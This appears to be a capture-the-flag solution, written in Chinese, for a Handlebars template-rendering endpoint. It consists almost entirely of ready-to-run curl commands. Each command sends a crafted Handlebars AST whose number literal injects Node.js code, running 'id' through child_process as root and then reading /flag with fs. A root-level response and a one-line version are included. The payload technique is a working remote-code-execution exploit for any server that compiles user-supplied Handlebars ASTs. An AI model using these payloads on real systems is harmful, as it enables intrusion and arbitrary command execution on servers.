目标:POST /render,Content-Type: application/json,请求体为 Handlebars AST JSON。
1. 执行 id(验证 RCE)
命令:
curl -sS -X POST 'http://5062307e.ctf.secsnow.cn:31006/render' \
-H 'Content-Type: application/json' \
-d "{\"type\":\"Program\",\"body\":[{\"type\":\"MustacheStatement\",\"path\":{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[\"lookup\"],\"original\":\"lookup\",\"loc\":null},\"params\":[{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[],\"original\":\"this\",\"loc\":null},{\"type\":\"NumberLiteral\",\"value\":\"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\"original\":1,\"loc\":null}],\"escaped\":true,\"strip\":{\"open\":false,\"close\":false},\"loc\":null}]}"
响应示例:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video),1000(node)
2. 读取 /flag
命令:
curl -sS -X POST 'http://5062307e.ctf.secsnow.cn:31006/render' \
-H 'Content-Type: application/json' \
-d "{\"type\":\"Program\",\"body\":[{\"type\":\"MustacheStatement\",\"path\":{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[\"lookup\"],\"original\":\"lookup\",\"loc\":null},\"params\":[{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[],\"original\":\"this\",\"loc\":null},{\"type\":\"NumberLiteral\",\"value\":\"{},{})) + process.getBuiltinModule('fs').readFileSync('/flag','utf8').toString() //\",\"original\":1,\"loc\":null}],\"escaped\":true,\"strip\":{\"open\":false,\"close\":false},\"loc\":null}]}"
单行版(读 flag)
curl -sS -X POST 'http://5062307e.ctf.secsnow.cn:31006/render' -H 'Content-Type: application/json' -d "{\"type\":\"Program\",\"body\":[{\"type\":\"MustacheStatement\",\"path\":{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[\"lookup\"],\"original\":\"lookup\",\"loc\":null},\"params\":[{\"type\":\"PathExpression\",\"data\":false,\"depth\":0,\"parts\":[],\"original\":\"this\",\"loc\":null},{\"type\":\"NumberLiteral\",\"value\":\"{},{})) + process.getBuiltinModule('fs').readFileSync('/flag','utf8').toString() //\",\"original\":1,\"loc\":null}],\"escaped\":true,\"strip\":{\"open\":false,\"close\":false},\"loc\":null}]}"